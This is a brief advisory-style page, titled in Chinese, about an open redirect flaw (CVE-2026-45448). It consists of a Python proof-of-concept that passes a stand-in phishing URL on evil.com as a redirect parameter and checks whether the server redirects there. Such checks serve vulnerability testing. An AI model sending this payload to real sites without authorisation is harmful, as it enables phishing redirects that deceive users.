CVE-2026-45448 URL开放重定向漏洞

import requests target_url = "http://example.com/redirect" malicious_payload = "http://evil.com/phishing" # Sending a GET request with the malicious redirect parameter params = { "url": malicious_payload # Common parameter name, might vary } response = requests.get(target_url, params=params, allow_redirects=False) # Check if the server responds with a 302/301 Redirect if response.status_code in [301, 302, 303, 307, 308]: if "evil.com" in response.headers.get('Location', ''): print(f"[+] Vulnerability Confirmed! Redirecting to: {response.headers['Location']}") else: print("[-] Redirect occurred, but not to the malicious payload.") else: print("[-] No redirect detected.")